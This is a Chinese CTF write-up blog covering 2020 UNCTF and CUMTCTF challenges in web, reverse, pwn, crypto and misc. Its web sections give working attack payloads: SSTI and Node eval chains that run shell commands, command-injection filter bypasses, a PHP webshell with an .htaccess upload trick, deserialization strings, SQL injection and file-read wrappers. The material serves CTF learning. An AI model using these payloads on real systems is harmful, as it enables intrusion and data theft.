    qr.make(fit=True)
    img = qr.make_image(fill_color="black", back_color="white")
    Secret1(img._img)
    img.save('res.png')

if __name__ == '__main__':
    main()

网上找的轮子:

from PIL import Image
from randcrack import RandCrack
import random
share = Image.open('secret.png')
width = share.size[0]//2
res = Image.new('L', (width, width))
bits = ''
for idx in range(width*width-624*32, width*width):
    i, j = idx//width, idx % width
    if share.getpixel((2*j, 2*i)) == 255:
        bits += '0'
    else:
        bits += '1'
rc = RandCrack()
for i in range(len(bits), 0, -32):
    rc.submit(int(bits[i-32:i], 2))
flipped_coins = [int(bit) for bit in bin(rc.predict_getrandbits(width*width-624*32))[2:].zfill(width*width-624*32)] + list(map(int, bits))

data = []

for idx in range(width*width):
    i, j = idx//width, idx % width
    if share.getpixel((2*j, 2*i)) == 255:
        data.append(0 if flipped_coins[idx] else 255)
    else:
        data.append(255 if flipped_coins[idx] else 0)

res.putdata(data)
res.save('ans.png')

思路:

  1. 加密利用了random伪随机数,实现flipped_coins初始化。
  2. 利用randcrack库中的RandCrack函数预测random模块里伪随机数的生成值。
  3. qrcode的边界是白色的,可以利用。

image.png

2020 UNCTF

web

easy_ssrf

<?php
echo'<center><strong>welc0me to 2020UNCTF!!</strong></center>';
highlight_file(__FILE__);
$url = $_GET['url'];
if(preg_match('/unctf\.com/',$url)){
    if(!preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)){
        $url=file_get_contents($url);
        echo($url);
    }else{
        echo('error!!');
    }
}else{
    echo("error");
}
?>
  • file_get_contents在调用时会判断使用的协议,如果协议无法识别就会把后面的内容当作目录。

本地测试:(在www下存有1.txt文件,写有123456)

最终 payload:?url=unctf.com/../../../../flag一个一个往上读到根目录即可。

babyeval

<?php
    // flag在flag.php
    if(isset($_GET['a'])){
        if(preg_match('/\(.*\)/', $_GET['a']))
            die('hacker!!!');
        ob_start(function($data){
                 if (strpos($data, 'flag') !== false)
                 return 'ByeBye hacker';
                 return false;
                 });
        eval($_GET['a']);
    } else {
        highlight_file(__FILE__);
    }
    ?>
  • 过滤了括号,想到用echo把内容打印
  • ob_start会开启缓冲区,要输出的内容将保存在里面,这里要求输出的内容不能含有flag,想到base加密输出

最终payload:

?a=echo`cat flag.php|base64`;
or
?a=echo`include 'php://filter/convert.base64-encode/resource=./flag.php';

UN's_online_tools

  • 空格被过滤,用%09绕过,cat被过滤用ca""t绕过,打开index.php
<?php
            if (isset($_GET['url'])){
                $ip=$_GET['url'];
                if(preg_match("/(;|'| ||]|&amp;| |\\$|\\|rev|more|tailf|head|nl|tail|tac|cat|rm|cp|mv|\*|\{)/i", $ip)){
                    die("非法字符");
                }
                if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
                    die("非法字符");
                }
                $a = shell_exec("ping -c 4 ".$ip);
                echo($a);
?>

我们利用ls../不断访问上级目录的文件,最终在根目录发现了flag文件
payload:

?url=1|`echo%09Y2F0IC9mbGFn|base64%09-d`    //Y2F0IC9mbGFn base64解码为cat /flag
or
?url=1|ca""t%09????                         //????就是flag = =

ezphp

<?php
show_source(__FILE__);
$username  = "admin";
$password  = "password";
include("flag.php");
$data = isset($_POST['data'])? $_POST['data']: "" ;
$data_unserialize = unserialize($data);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    echo $flag;
}else{
    echo "username or password error!";
}
?>

看到本来感觉就是很简单的反序列化,本来payloada:2:{s:8:"username";s:5:"admin";s:8:"password";s:8;"password"},本地成功了但是题目一直失败,后来在群里无意间看到有几个人也在问..意识到不太对自习看了看才意识到可能是弱等于,最终payloada:2:{s:8:"username";b:1;s:8:"password";b:1}

结束得知原来在flag.php里username和password被修改了..

easy_unserialize

  • 反序列化字符串逃逸
<?php
error_reporting(0);
highlight_file(__FILE__);

class a
{
    public $uname;
    public $password;
    public function __construct($uname,$password)
    {
        $this->uname=$uname;
        $this->password=$password;
    }
    public function __wakeup()
    {
            if($this->password==='easy')
            {
                include('flag.php');
                echo $flag;    
            }
            else
            {
                echo 'wrong password';
            }
        }
    }

function filter($string){
    return str_replace('challenge','easychallenge',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

payload:?1=challengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}O:1:"a":2:{s:5:"uname";s:2:"ad";s:8:"password";s:4:"easy";}

easyflask

利用|attr(request.args.xxx)拼接

原句:{{warnings.catch_warnings.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat%20/flag.txt').read()")}}
paydload:{{(()|attr(request.args.class)|attr(request.args.base)|attr(request.args.sub)()|attr(request.args.getitem)(166))|attr(request.args.init)|attr(request.args.globals)|attr(request.args.getitem)(request.args.builtins)|attr(request.args.getitem)(request.args.eval)(request.args.param)}}&class=__class__&base=__base__&sub=__subclasses__&getitem=__getitem__&init=__init__&globals=__globals__&builtins=__builtins__&eval=eval&param=__import__('os').popen('cat flag.txt').read()

这辈子也不想写类似的题目了 真的无聊

easy_uploads

和之前在buu上做的一个及其类似,但是多了内容上的过滤。

图片.png

可以看出来过滤条件还是很苛刻的,过滤掉了ph,基本上php文件就不能直接绕过了,这种黑名单一般可以上传.htacess文件。

要求内容里也不能含有php, .htaccess 文件内容可以换行输入

记得把.htaccess文件类型改为image/jpeg

AddType application/x-httpd-p\
hp .jpg

一句话木马也可以简化

<?=eval($_POST[123]);

图片.png

ezfind

payload?name=%00或者name[]=1

我傻了,出题人也没说清这题有什么意义。

L0vephp

最后一行看到一个奇怪的东西 没做出来

B4Z0-@:OCnDf,

这居然是base85..解密得到get action

题目提示让我们读源码

payload:?action=php://filter/read=convert.base64-encode/resource=./flag.php,发现base被过滤掉了,采用rot13读取

payload:?aciton=php://filter/read=string.rot13/resource=./flag.php,得到hint:316E4433782E706870,16进制转字符串得1nD3x.php

得到源码

<?php 
error_reporting(0);
show_source(__FILE__);
$code=$_REQUEST['code'];
$_=array('@','\~','\^','\&','\?','\<','\>','\*','\`','\+','\-','\'','\"','\\\\','\/'); 
$__=array('eval','system','exec','shell_exec','assert','passthru','array_map','ob_start','create_function','call_user_func','call_user_func_array','array_filter','proc_open');
$blacklist1 = array_merge($_);
$blacklist2 = array_merge($__);

if (strlen($code)>16){
    die('Too long');
}
foreach ($blacklist1 as $blacklisted) { 
    if (preg_match ('/' . $blacklisted . '/m', $code)) { 
        die('WTF???'); 
    } 
} 

foreach ($blacklist2 as $blackitem) {
    if (preg_match ('/' . $blackitem . '/im', $code)) {
        die('Sry,try again');
    }
}
@eval($code);
?>

wp给了一种很强的绕过姿势..今晚暂时没时间研究了,明天再琢磨。

?1[]=test&1[]=system(%27ls%20/%27);&2=assert
POST
code=usort(...$_GET);

或者用input文件包含

?code=include$_GET[0];&0=php://input
POST
<?php system("ls");?>

2020 10月CUMTCTF

Web

babyflask

flask ssti模板注入: payload{{key}}发现[]以及类似os,__import__等敏感关键词都被过滤。

  1. __getitem__(2)来表示[number],__getattribute__('__a'+'bc__')来表示[__abc__]

  2. 最终payload{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.__getattribute__('fun'+'c_globals').linecache.__getattribute__('o'+'s').popen('ls').read()}}

    回显目录文件,找到flag后把ls替换为cat ../flag即可获得flag

如果猜到flag文件在根目录下 直接payload{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag').read()}}即可

doge

F12查看源码 复制所有的aaencode,删除最后一个 ('_');再在控制台粘贴输出,得到源码,

控制台输出

$.ajax({
            url: '\u0063\u0068\u0065\u0063\u006b\u002e\u0070\u0068\u0070',
            type: '\u0050\u004f\u0053\u0054',
            data: '\u006e\u0075\u006d\u003d' + 1009,
    //1009为任意符合要求的素数均可
            success: function (data) {
                alert(data);}})

获得base64加密flag,解码即可。

然而我朋友说他一进去摇奖就得到了flag..好像概率的确也不小。

WellCMS

进入环境,是一个配置比较齐全的题,首先看到登陆的地方,抓包看一看。

对密码进行了md5加密,burp suite爆破有md5加密的处理,试一试。

成功了,解密出来密码是admin123。

然后好像这种类博客管理的题,存在漏洞的地方大多都是在文件上传处。

在内容管理的地方,可以增加内容,有一个添加附件,抓包发现把内容base64加密,但没有拦截..

然后上传成功了..问题是并不知道这个文件传到哪了,无法建立连接。

发现在发表内容的时候,可以选择封面图,抓包文件内容也是base64加密,把filetype改为php,内容改为一句话木马试试。

居然直接成功了,还回显了文件位置,访问拿到flag。

呜呜呜感觉这题难度应该放在easy吧,大多数可能都是和我一样题都没点开的..

Hodor

根据提示,get ['source'],得到源码。

<?php

Class Source {
    public function __toString() {
        return highlight_file('license.txt', true).highlight_file($this->source, true);
    }
}

function easy_check($str) {
    //echo $str;
    if (preg_match("/flag/i", $str, $matches)) {
        return false;
    }
    return true;
}

if(isset($_GET['source'])){
    $s = new Source();
    $s->source = __FILE__;

    echo $s;
    exit;
}

$todos = [];

if(isset($_COOKIE['todos'])){
    if(!easy_check($_COOKIE['todos'])) {
        echo "Hacker!\n";
    } else {
        $c = $_COOKIE['todos'];
        $h = substr($c, 0, 32);
        $m = substr($c, 32);
        if(md5($m) === $h){
            $todos = unserialize($m);
        }
    }
}

if(isset($_POST['text'])){
    $todo = $_POST['text'];

    $todos[] = $todo;
    $m = serialize($todos);
    $h = md5($m);

    setcookie('todos', $h.$m);
    header('Location: '.$_SERVER['REQUEST_URI']);
    exit;
}
// flag is in flag.php
?>
<?php foreach($todos as $todo):?>
    <li><?=$todo?></li>
<?php endforeach;?>

代码审计

  • 在_toString中,有highlight_file($this->source, true);看来得生成一个Source类的实例,并且这个实例的source=flag.php,并且有把其当作字符串的地方。
  • 最后一个位置<?=$todo?>其实为<?php echo $todo?>的一种简写形式,并且上面的foreach是对数组用的,那么初步找到这个实例就是todo,并且发现前面也有反序列化函数。
<?php
    class Source
{
    public $source;
}
    $a= new Source();
    $a->source='flag.php';
    $ser=serialize(($a));
    echo $ser;//O:6:"Source":1:{s:6:"source";s:8:"flag.php";}
?>
  • 继续往上看,发现要想触发unserialize(),得满足两个要求,一个是对flag的检测,可用大S+/66lag绕过,第二个是一个md5加密,也好说。
<?php
    $ser='a:1:{i:0;O:6:"Source":1:{s:6:"source";S:8:"\66lag.php";}}';//数据类型S大写
    $a=substr(md5($ser),0,32);
    $b=$a.urlencode($ser);
    echo $b;
?>

得到最后post text的值:df80635527eb9189c1197254ad3c46bca%3A1%3A%7Bi%3A0%3BO%3A6%3A%22Source%22%3A1%3A%7Bs%3A6%3A%22source%22%3BS%3A8%3A%22%5C66lag.php%22%3B%7D%7D

koa<

对js还不是很了解,慢慢学..

源码:

const Koa = require('koa');
const Router = require('koa-router');
const Parser = require('koa-bodyparser');
const fs = require('fs');

let app = new Koa();
let router = new Router();

app.use(Parser());

router.get('/', async ctx => {
    ctx.response.body = `<html><a href="/src">Source Code</a></html>`;
});

let btoa = s => new Buffer(s + '').toString(encoding='base64');
let atob = s => new Buffer(s + '', encoding='base64').toString();
const src = btoa(fs.readFileSync('app.js'));

router.get('/src', async ctx => {
    ctx.response.body = src;
});

let filter = expr => {
    let blacklist = ['(', ')', '.', '&', '#', '\\', '"', '`', ' '];
    for (const ele of expr) {
        if (blacklist.includes(ele))
            return false;
    }
    return true;
}

router.post('/expr', async ctx => {
    let expr = ctx.request.body.expr || '8 ^ 1';
    if (!filter(expr)) {
        ctx.response.body = '?';
        return;
    }
    ctx.response.body = eval(expr);
})

app.use(router.routes());
app.listen(9999);

exp:

import requests
url="http://219.219.61.234:30000/expr"
res1=requests.post(url,data={"expr":"filter=e=>{return/**/true}"})
#print(res1.text)
res2=requests.post(url,data=
{"expr":'global.process.mainModule.constructor._load("child_process").execSync(" ../readflag").toString()'})
print(res2.text)

VulnCMS

一个全是漏洞的网站:

在这种模拟真实环境的题目下,一定要注意路径的变化。

在登陆界面,看到在路径里看到member,想到admin,弱口令admin admin 登陆成功。

不亏是有很多漏洞的环境,拿到管理员权限后,就有好几种方法造成文件上传漏洞了。

  1. 作为管理员,在上传设置处可以直接修改文件后缀名白名单,加上php后就可以用其他用户上传php(但是不知道传在哪),再用管理员账号登陆管理文件就可以看到位置了。
  2. 利用命令注入,在根目录写入shell。

之后蚁剑连接。

找了半天flag影子都没见着,但在根目录发现一个mysql.php(后来才知道这是前面做出来的学长写的..),然后连接在数据库里把flag找到了.

学长的意思应该是要根据config文件夹下的database.php自己写连接数据库的exp。

<?php
$servername = "mysql";
$username = "root";
$password = "root";
$dbname = "yxjcms";
# kg_yyds(dddd)
$conn = mysqli_connect($servername, $username, $password,$dbname);
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}
else{
    echo("1");
}
$sql = $_POST['sql'];
$result = $conn->query($sql);
if ($result->num_rows > 0) {
    // 输出数据
    while($row = $result->fetch_assoc()) {
        var_dump($row);
        echo("1");
}
$sql = $_POST['sql'];
$result = $conn->query($sql);
if ($result->num_rows > 0) {
    // 输出数据
    while($row = $result->fetch_assoc()) {
        var_dump($row);
        echo("123 ");
    }
} else {
    echo "2";
}
$conn->close();
?>

最后拿到flag。

Re

hello_world

打开ida, 发现将输入与一段数据进行异或加密。再进行一次异或解密即可。

non_name

打开ida, 得到了一个比较复杂的方程,进入matlab矩阵消元求解。

Pwn

login

同样的打开ida, 发现其调用了read函数, nbytes 参数设置为100h, 但其buf指针仅仅开辟了很小的一部分空间,因此可以加以利用。先将buf的地址填满,然后再填入八个字节rbp

,最后填入要执行的system函数的地址。利用pwntools写python脚本可以快速得到题解。

Crypto

Classical

维吉尼亚加密的密文,在线网站直接爆破密文。

EZRSA

wienner attack 下载后破解

Misc

Sign In

010打开,base64解码,brainfuck解密获得flag

出个流量分析吧

记事本打开搜索flag获得flag..

出个LSB吧

lsb 原题

出个文档吧

感觉是docx隐写,但不知道为什么我下下来直接就获得了flag..

出个压缩包吧

打开压缩包,显示secret.png文件头损坏,010打开,rar压缩包里文件
块头为A8 3C 74,把 7A修改为74得到空白图片。stegsolve调到red0色域出现半张二维码,怀疑为双图层,改后缀为.gif 。ps打开发现的确有隐藏图层,导出后同样步骤得到上部分二维码,最后再剪接一块二维码定位块即可扫描得到flag。

总感觉很熟悉..在哪做过?

出个伪web吧

我们的思路是直接导入数据库,然后配置环境弄了很久..最后把整个文件都导入了,啥也没发现,attacktest.sql导入后在phpmyadmin里观察攻击者的动机,也没发现什么,最后发现了一个密码。

最后的结果是没有做出来,wp是根据文件修改时间找到include.php文件然后里面有flag,或者直接全局搜索

这才想起来,这只是一道misc Easy题

总的来说很是感觉有点遗憾,完全是送分的一道题..

出个内存取证吧

听说又是原题..不得不怀疑我的搜索能力了

都说kali自带volatility..但我也没有 老倒霉蛋了 下在了windows上

  • 获取基本信息
.\volatility_2.6_win64_standalone.exe imageinfo -f .\1.img

三个profile一个一个尝试 |findstr flag ,最后在P1找到

.\volatility_2.6_win64_standalone.exe filescan -f .\1.img --profile=Win2003SP1x86 | findstr flag

追踪flag.png,发现在explorer.exe进程里,把explore.exe pid为1992,将其导出

.\volatility_2.6_win64_standalone.exe -f .\1.img -- profile=Win2003SP1x86  memdump -p 1992 -D ./

拖进kali binwalk看一下

图片扫码获得密文,不是base64,提示iv,搜索得知为AES加密,在线解密获得flag

2020 9月CUMTCTF

WEB

Web签到

payloadhttp://202.119.201.197:13001/?1

hackbar payload 2=2 出现源码

猜测flag在flag.php里(可以访问无结果),利用php伪协议payload http://202.119.201.197:13001/?1&file=php://filter/read=convert.base64-encode/resource=./flag.php

页面回显flag:PD9waHANCgkkZmxhZz0iQ1VNVENURnsxNzkwNTViNC1lOGY1LTQyZDItYmZlNC0wMjdkMTVlOTQ2YjJ9Ijs=

base64解密得到最终flag:CUMTCTF{179055b4-e8f5-42d2-bfe4-027d15e946b2}

babysqli

burp抓包,发现有 ` `的过滤,用/**/过滤空格。

  1. 报错注入

    payload username=admin&password='/**/or/**/extractvalue(1,concat(1,(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/x,1)))#,变更x的值,找到表,进而找列,然后查字段最终找到flag

    这里可以发现flag后面半段没有显示,改 passwordmid(password,20,30)即可回显后半部分。

  2. 联合注入

    最麻烦的地方是 order被过滤掉了,需要手动一个一个尝试有几列

    payload username=admin&password='/**/union/**/select/**/1,2,3,(select/**/password/**/from/**/users/**/limit/**/7,1),5,6,7,8#一直尝试到8发现回显了4,再把4位置改为select...即可

    Secret

进入页面除了一张帅照没有任何信息,尝试用御剑扫描后台,发现www.zip文件 下载得到源码

<!DOCTYPE html>
<html ><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
        <title>Secret?</title>
        <h1>The dream of a great singer</h1>
<img src="./secret.jpg"  alt="The dream of a great singer" />
</html>
<?php
error_reporting(0);
include_once('flag.php');
if(isset($_GET['param1']))
{
    $str1=$_GET['param1'];
    if(file_get_contents($str1)!=='Suvin_wants_a_girlfriend')
        die("Suvin doesn't like you");
    if(isset($_GET['param2'])){
        $str2=$_GET['param2'];
        if(!is_numeric($str2))
            die('Suvin prefers strings of Numbers');
        else if($str2<3600*24*30)
            die('Suvin says the num is too short');
        else if($str2>3600*24*31)
            die('Suvin says the num is too long');
        else {
            echo "Suvin says he's falling in love with you!"."</br>";
            sleep(intval($str2)); 
        }
        if (isset($_POST['param1']) && isset($_POST['param2'])) {
            $str1=$_POST['param1'];
            $str2=$_POST['param2'];
            if(strlen($str1)>1000)
                die("It's too long");
            if(((string)$str1!==(string)$str2)&&(sha1($str1)===sha1($str2)))
                echo $flag;
            else 
                die("It's so similar to md5");
        }
    }
}
?>
  • 第一层 data协议 payload param1=data://text/plain,Suvin_wants_a_girlfriend

  • 第二层 科学计数法 payload param2=2.592E6

  • 第三层 下意识反应是传入数组让sha1返回false然后成功绕过,但问题是前面还有strings处理会导致同样相等,看来这里这里只能找到sha1真碰撞。谷歌曾提供了两份不一样的pdf,但它们前320位的sha1值却是相等的。下面是两个文件的16进制:

    • pdf1:

      25 50 44 46 2D 31 2E 33 0A 25 E2 E3 CF D3 0A 0A
      0A 31 20 30 20 6F 62 6A 0A 3C 3C 2F 57 69 64 74
      68 20 32 20 30 20 52 2F 48 65 69 67 68 74 20 33
      20 30 20 52 2F 54 79 70 65 20 34 20 30 20 52 2F
      53 75 62 74 79 70 65 20 35 20 30 20 52 2F 46 69
      6C 74 65 72 20 36 20 30 20 52 2F 43 6F 6C 6F 72
      53 70 61 63 65 20 37 20 30 20 52 2F 4C 65 6E 67
      74 68 20 38 20 30 20 52 2F 42 69 74 73 50 65 72
      43 6F 6D 70 6F 6E 65 6E 74 20 38 3E 3E 0A 73 74
      72 65 61 6D 0A FF D8 FF FE 00 24 53 48 41 2D 31
      20 69 73 20 64 65 61 64 21 21 21 21 21 85 2F EC
      09 23 39 75 9C 39 B1 A1 C6 3C 4C 97 E1 FF FE 01
      73 46 DC 91 66 B6 7E 11 8F 02 9A B6 21 B2 56 0F
      F9 CA 67 CC A8 C7 F8 5B A8 4C 79 03 0C 2B 3D E2
      18 F8 6D B3 A9 09 01 D5 DF 45 C1 4F 26 FE DF B3
      DC 38 E9 6A C2 2F E7 BD 72 8F 0E 45 BC E0 46 D2
      3C 57 0F EB 14 13 98 BB 55 2E F5 A0 A8 2B E3 31
      FE A4 80 37 B8 B5 D7 1F 0E 33 2E DF 93 AC 35 00
      EB 4D DC 0D EC C1 A8 64 79 0C 78 2C 76 21 56 60
      DD 30 97 91 D0 6B D0 AF 3F 98 CD A4 BC 46 29 B1

    • pdf2:

      25 50 44 46 2D 31 2E 33 0A 25 E2 E3 CF D3 0A 0A
      0A 31 20 30 20 6F 62 6A 0A 3C 3C 2F 57 69 64 74
      68 20 32 20 30 20 52 2F 48 65 69 67 68 74 20 33
      20 30 20 52 2F 54 79 70 65 20 34 20 30 20 52 2F
      53 75 62 74 79 70 65 20 35 20 30 20 52 2F 46 69
      6C 74 65 72 20 36 20 30 20 52 2F 43 6F 6C 6F 72
      53 70 61 63 65 20 37 20 30 20 52 2F 4C 65 6E 67
      74 68 20 38 20 30 20 52 2F 42 69 74 73 50 65 72
      43 6F 6D 70 6F 6E 65 6E 74 20 38 3E 3E 0A 73 74
      72 65 61 6D 0A FF D8 FF FE 00 24 53 48 41 2D 31
      20 69 73 20 64 65 61 64 21 21 21 21 21 85 2F EC
      09 23 39 75 9C 39 B1 A1 C6 3C 4C 97 E1 FF FE 01
      7F 46 DC 93 A6 B6 7E 01 3B 02 9A AA 1D B2 56 0B
      45 CA 67 D6 88 C7 F8 4B 8C 4C 79 1F E0 2B 3D F6
      14 F8 6D B1 69 09 01 C5 6B 45 C1 53 0A FE DF B7
      60 38 E9 72 72 2F E7 AD 72 8F 0E 49 04 E0 46 C2
      30 57 0F E9 D4 13 98 AB E1 2E F5 BC 94 2B E3 35
      42 A4 80 2D 98 B5 D7 0F 2A 33 2E C3 7F AC 35 14
      E7 4D DC 0F 2C C1 A8 74 CD 0C 78 30 5A 21 56 64
      61 30 97 89 60 6B D0 BF 3F 98 CD A8 04 46 29 A1

    然后将文件前320位url编码使用就可以了

    对了 注意记住post传输时最好用burp,因为hackbar post是url编码前的,会导致失败。

简单的文件包含

根据问题,首先想到X-Forwarded-For: 127.0.0.1 被揭穿,尝试用Client-ip: 127.0.0.1 成功,得到源码,其中最关键一句

include_once("flag.php");
if(isset($_POST['f'])) 
  include_once($_POST['f']);

发现常规payload f=php://filter/convert.base64-encode/resource=./falg,php已经没有反应,通过查阅https://www.anquanke.com/post/id/213235得知可以payload f=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

得到base64加密flag,解码即可

Re

连签到的分都不给你

ida打开 直接可以看到flag

兄弟们快来帮帮葡葡

upx脱壳,ida打开就能看到flag

python题禁止python

注意第106行BINARY_XOR,python脚本:

a=[80,70,94,71,80,71,85,104,86,39,64,106,76,67,106,71,123,92,125,76,37,106,103,118,80,35,119,32,110]
result=""
for i in range(len(a)):
    result+=chr(a[i]^19)
print(result)

即可输出flag

CRYPOT

幼儿园的密码题

RSA加密,已知e,n,c, 先把三个数都化为十进制,在在线网站分解nhttp://factordb.com/得到p,q,再利用工具(自己写也可)RSA-tools2 输入p,q,n找到d

再利用python脚本得到flag

e = 65537

n = 106521084065274837947153338013414677016150003618052696631715598225251903811631

C = 40448992051548719008529549070468060415257485938698092782029814901918646701101

d = 40136589253519337904801936751808322538729097075790793658605275357454779780497

M = pow(C,d,n)    
print(M)
print('------------')
print(hex(M)[2:])                      #16进制明文
print('------------')
print(bytes.fromhex(hex(M)[2:]))       #16进制转文本

小学生的密码题

给出加密方式和密文求明文,由 ord("A"), ord("}") **+** 1发现完全可以爆破偷鸡(虽然也是小学生题),python脚本:

def encode(ptext):
    dic = [chr(i) for i in range(ord("A"), ord("}") + 1)]
    m = [i for i in ptext]
    tmp = [];s = []
    for i in range(len(m)):
        for j in range(len(dic)):
            if m[i] == dic[j]:
                tmp.append(j + 1)
    for i in tmp:
        res = ""
        if i >= 8:
            res += int(i/8)*"8"
        if i%8 >=4:
            res += int(i%8/4)*"4"
        if i%4 >=2:
            res += int(i%4/2)*"2"
        if i%2 >= 1:
            res += int(i%2/1)*"1"
        return res

st = "21088410841088402108840420888888821088810888884210888888410888421088881088888820888841088842108820888881088884210888880888888408888888410".split('0')
a = 0
result = ""
for i in range(len(st)):
    for j in range(ord('A'), ord('}')+1):
        if encode(chr(j))  == st[a]:
            a = a + 1
            result += chr(j)
            break
print(result)

MISC

连签到都算不上

打开txt,base64转图片,将得到的编码\u81ea\u7531\u548c\u8c10\u5e73\u7b49\u5e73\u7b49\u81ea\u7531\u8bda\u4fe1\u548c\u8c10\u5e73\u7b49\u81ea\u7531\u81ea\u7531\u548c\u8c10\u5e73\u7b49\u81ea\u7531\u81ea\u7531\u516c\u6b63\u6cd5\u6cbb\u53cb\u5584\u5e73\u7b49\u5e73\u7b49\u6cd5\u6cbb\u548c\u8c10\u548c\u8c10\u516c\u6b63\u8bda\u4fe1\u6587\u660e\u516c\u6b63\u548c\u8c10\u548c\u8c10\u5bcc\u5f3a\u516c\u6b63\u8bda\u4fe1\u548c\u8c10\u548c\u8c10\u548c\u8c10\u5e73\u7b49\u8bda\u4fe1\u5e73\u7b49\u548c\u8c10\u6587\u660e\u5e73\u7b49\u8bda\u4fe1\u5e73\u7b49\u81ea\u7531\u548c\u8c10\u5e73\u7b49\u81ea\u7531\u81ea\u7531\u516c\u6b63\u6587\u660e\u6c11\u4e3b\u6cd5\u6cbb\u8bda\u4fe1\u548c\u8c10\u000d\u000a

Unicode转中文得到

自由和谐平等平等自由诚信和谐平等自由自由和谐平等自由自由公正法治友善平等平等法治和谐和谐公正诚信文明公正和谐和谐富强公正诚信和谐和谐和谐平等诚信平等和谐文明平等诚信平等自由和谐平等自由自由公正文明民主法治诚信和谐

在前往在线核心价值观编码解码即可http://ctf.ssleye.com/cvencode.html

真·签到题

把下载得到的图片丢进010,在尾部发现base64编码,解码得到EWOVEVH{U1ip_kp_uweeguuhw11a!},由形式看出来为凯撒加密,位移为2,解密得到flag:CUMTCTF{S1gn_in_successfu11y!} 

能看到我吗

要注意文件名的提示

题目得到一张number.jpg文件,扔进010却发现头为pk,改后缀为zip得到压缩包文件。

!!!重点来了!!!

得到了number.zip压缩包后呢,我下意识还是看了看是不是伪加密,前不久做了好几道伪加密的题,但010查看发现却是真加密,改的话文件会损坏,于是我花了很久很久时间捣鼓密码是啥,把大写小写数字组合全都试了(只试了7位数,组合的话超过7位数爆破时间差不多要几个小时),都还是失败...

重点就在压缩包的名字number.zip,这不都告诉你密码是纯数字了吗???看到题解我要哭出来了...

得到密码后又得到一张图片,扔进010也没啥信息,丢到kali binwalk看一下。

发现有两张图片,foremost拿出来,发现是两张一模一样的图片..之前在攻防世界有做过盲水印的题,用脚本得到最终flag

别做题了听歌吧

这题真的就到最后一步 我要吐血了..

拿到《anheqiao》音频文件,二话不说放进audacity里,半天啥也没看出来,联系到提示:别问,问就是cumt,猜测是音频隐写,加密密码为cumt

打开txt文本发现有大小但是是空的,看来又是隐写,用010打开发现一堆0909 2020 0D0A的玩意,然后我感觉这个有点像摩斯编码,于是写脚本去试了试

然后去在线摩斯编码转换网站试试:

单纯的我只是觉得这是一串没有任何规律的乱码,然后又去试了试排列组合,但都能没出现类似CUMTCTF这样明显的flag,...看到题解我才发现,原来这一串乱码加上CUMTCTF{}就是flag..(乱码的后面 AND8MP3ST390!!已经有提示了)

兔兔那么可爱

下载得到一个flag文件和一张很多兔子的图片,提示:图片内没有任何与flag相关的信息,很多数学家都喜欢兔兔

,把flag文件扔进010。

可以发现我们想要的flag前缀 CUMTCTF 对应位置:

0 1 2 4 7 12 除了第一个和第二后 ,后面每一个都是前两个相加+1,破案了!!就是喜欢兔子的数学家斐波那契,python脚本

string='' 
with open('flag', 'r') as f: 
    string = f.read() 
a=0 
b=0
for i in range(0,26): 
    c=a+b+1
    a=b 
    b=c 
    print(string[a],end="")

为什么是26次呢,这个可以通过len(string)得到长度然后慢慢试的。

大鲨鱼之你可使劲找

这题感谢魔龙学长的指点

下载得到流量包,在wireshark里面看一下,搜索flag发现是二分法盲注爆数据库,追踪tcp流,把数据全部复制在txt里粘贴出来一个一个分析,因为有很多流(我之前只分析了一个..),可以根据CUMTCTF第一个字符C的ascii值67去判断数据在哪一个流里。

这里>66是正确的,又是最后一个,所以第一个字符ASCII为67即为C,把数据所有76前的保存下来转码。

b=[67,85,77,84,67,84,70,123,99,101,99,99,49,51,57,52,45,54,49,51,51,45,52,51,100,48,45,98,101,48,54,45,97,52,49,99,53,102,50,51,49,100,100,52,125,32]
for i in range (len(b)):
     print(chr(b[i]),end='')

这从上千条数据里找到这40多条,真的麻了..

残缺的大鲨鱼

这道题真的考验耐性和细致。

下载得到流量包,在wireshark里面看一下,搜索发现flag.zip文件,跟踪tcp,把原始数据复制转移到010里,把50 4B前的http信息全部删了,保存为zip文件。

压缩得到flag文件,扔进010

在尾部发现 D8 FF,FF D8是图片文件的文件头,猜测是flag是反过来的图片文件,python还原。

string=''
with open('flag','rb') as f:
    string=f.read()
    with open('flag.jpg','wb') as w:
        w.write(string[::-1])

好吧又是一张图片,扔进010里看一下..

观察可以发现,图片内藏有bbxxss.txt文件,但用kali foremost并没能分离出来,应该是缺少了文件头,搜索压缩包文件头后面有 03 04 14 00 ,在前面补上50 4B保存,即可保存为zip文件解压(或者foremost分离出来),得到bbxxss.txt。

在卢学长的指点下,利用emoji解码即可。

时光机

明天补上吧 需要git知识..

补!

哈哈这几天捣鼓了一些虚拟机,装了一个manjaro,不得不说!真香~

好了因为git装在虚拟机里,把文件拖入manjaro,git看一下

没什么头绪,但提示说是git版本回退,git log查看版本

git reset --hard -xx 换一个版本试试

emm 一堆奇奇怪怪的文件,加上一张名叫我的压缩包呢的图,看来还得换

不换不知道 居然发现了一个password文件..盲猜一波这是压缩包的密码

最后还是找到了压缩包,输入密码拿到flag~

最后修改:2021 年 01 月 27 日 06 : 49 PM